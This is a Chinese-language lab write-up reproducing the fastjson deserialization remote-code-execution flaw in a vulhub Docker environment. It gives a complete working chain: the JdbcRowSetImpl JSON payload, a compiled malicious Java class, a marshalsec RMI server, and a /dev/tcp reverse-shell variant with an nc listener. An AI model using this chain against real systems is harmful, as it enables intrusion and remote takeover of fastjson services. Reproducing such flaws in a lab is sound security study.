fastjson漏洞复现

fastjson漏洞复现

fastjson漏洞原理简介

若lookup函数中的参数攻击者可控,便可以指向攻击者的服务器,即可实现JNDI注入实现任意代码执行。

原理(流程):

  1. 攻击者访问目标网站,通过burpsuite抓包,以json的格式添加 JdbcRowSetImpl 恶意类信息,发送给目标机。

  2. 目标机在反序列化的时候,加载攻击者构造的 JdbcRowSetImpl 恶意类(访问rmi服务器),rmi 给靶机下发命令

  3. 目标机得到rmi服务的响应,去执行 dnslog 类(攻击者写好上传给靶机的)

fastjson漏洞复现

靶机环境搭建

kali(192.168.1.106) :安装rmi服务,同时也作为目标机

物理机:作为攻击者

漏洞探测

利用burpsuite抓包,看返回的内容

错误的fastjson格式会被指出

发送一个错的数据包

fastjson漏洞复现

正确的数据包发送

fastjson漏洞复现

可以看到物理主机对docker的连接

漏洞利用

docker 搭建靶机

搭建docker,给fastjson提供运行的环境,也就是搭建靶机环境

//安装docker
apt-get install docker
apt-get install docker-compose
reboot
service docker start 

//安装maven
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir /opt/maven
tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
//配置maven的环境变量
vim /etc/profile
export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH
mvn -version     检验maven是否安装成功


//安装vulhub项目(其中附带fastjson漏洞复现场景)
git clone https://github.com/vulhub/vulhub.git
cd vulhub
cd  fastjson				//进入fastjson 
cd  1.2.24-rce
docker-compose up -d 		//启动fastjson项目。在浏览器中输入---IP地址:8090   
cd  1.2.47-rce
docker-compose up -d 		
ifconfig

fastjson漏洞复现

同时在我们的物理主机上也能访问(输入eth0的IP即可)

fastjson漏洞复现

编译恶意类

javac dnslog.java

用python 启动http服务要在 dnslog所在的目录

import java.lang.Runtime;
import java.lang.Process;

public class dnslog{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = { "/bin/sh", "-c", "touch /home/kali/success.txt"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

启动HTTP服务

在 kali 上启动HTTP服务,保证客户能够访问上述页面,设置监听的端口为9998

能够监听到用户的请求,黑客发起请求,让目标服务器执行,访问rmi服务器(本案例将rmi服务器也放在了kali上)

python -m SimpleHTTPServer 9998 

注意:dnslog.java

fastjson漏洞复现

启动rmi服务

在实际情况下,rmi服务器和 目标靶机是分开的

(在第二张图中)RMIRefserver 后面的内容是 rmi 定义的rmi服务器的地址,还有制定远程加载类 dnslog

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package –DskipTests		#编译此项目

fastjson漏洞复现

cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.106:9998/#dnslog" 9999

fastjson漏洞复现

发送数据

访问 192.168.1.106:8090 ,burpsuite抓包

携待数据发送,就必须将GET 改为 POST

发送 数据的被目标机接收后,目标机会请求rmi服务器,rmi服务器的dnslog文件中定义了目标机要执行的命令,目标机收到这些命令后就会执行。

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.1.106:9999/dnslog",   	
        		#攻击者要通过目标机 去rmi服务器查找dnslog文件,然后rmi服务器转发请求给目标服务器
        "autoCommit":true
    }
}

fastjson漏洞复现

可以看到物理主机对docker的连接。

此外,如果没有下面连接的提示,可以重新尝试

下面的IP地址输入错误,应该是 192.168.1.106:9998/#dnslog

fastjson漏洞复现

下面的Exploit.class是我 执行的另一个类。

fastjson漏洞复现

利用fastjson漏洞反弹shell

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

反弹shell好文:https://zhuanlan.zhihu.com/p/138393396

  1. 只需要将poc中的内容做更改即可
import java.lang.Runtime;
import java.lang.Process;

public class dnslog{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = { "/bin/sh", "-c", "/bin/sh -i >& /dev/tcp/目标机IP/端口号 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

# kali中反弹shell命令
# sudo sysud64 -uroot /bin/bash -c “/bin/sh -i >& /dev/tcp/192.168.1.106/4444 0>&1”	
  1. 在kali(目标机)上启动http,

  2. 在kali(rmi服务器)上启动rmi服务

  3. 在kali(rmi服务器)上监听端口

nc -lvnp 4444			#kali上(rmi服务器)监听4444端口

fastjson漏洞复现

上一篇:java.lang.String cannot be cast to com.alibaba.fastjson.JSONArray


下一篇:XML与JSON